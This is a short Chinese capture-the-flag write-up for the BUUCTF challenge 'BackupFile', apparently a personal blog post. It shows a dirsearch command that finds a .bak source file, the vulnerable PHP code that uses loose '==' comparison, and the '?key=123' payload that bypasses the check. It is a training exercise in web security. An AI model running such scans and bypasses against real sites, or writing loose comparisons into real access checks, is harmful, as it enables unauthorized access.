BUUCTF--[ACTF2020 新生赛]BackupFile

原创

Uzero. 于 2021-07-03 18:56:40 发布 60 收藏 1

首先进去之后可以看到给出的提示

Try to find out source file!

F12大法和御剑并没有找到相应的文件，尝试使用dirsearch

```
python3 dirsearch.py -u "url地址"
```

我们扫描到一个.bak文件，访问下载后得到一串php代码

```
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

php中有两种比较符号
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型，再作比较，属于弱类型比较
== 对于所有0e开头的都为相等
php中弱类型比较时，会使('1234a' == 1234)为真
```

这里的重点突破是弱类型比较，所有key只要满足为数字且key不必与str完全相同，构造payload

```
?key=123
```

总结：

掌握dirsearch的使用，了解php弱类型比较绕过。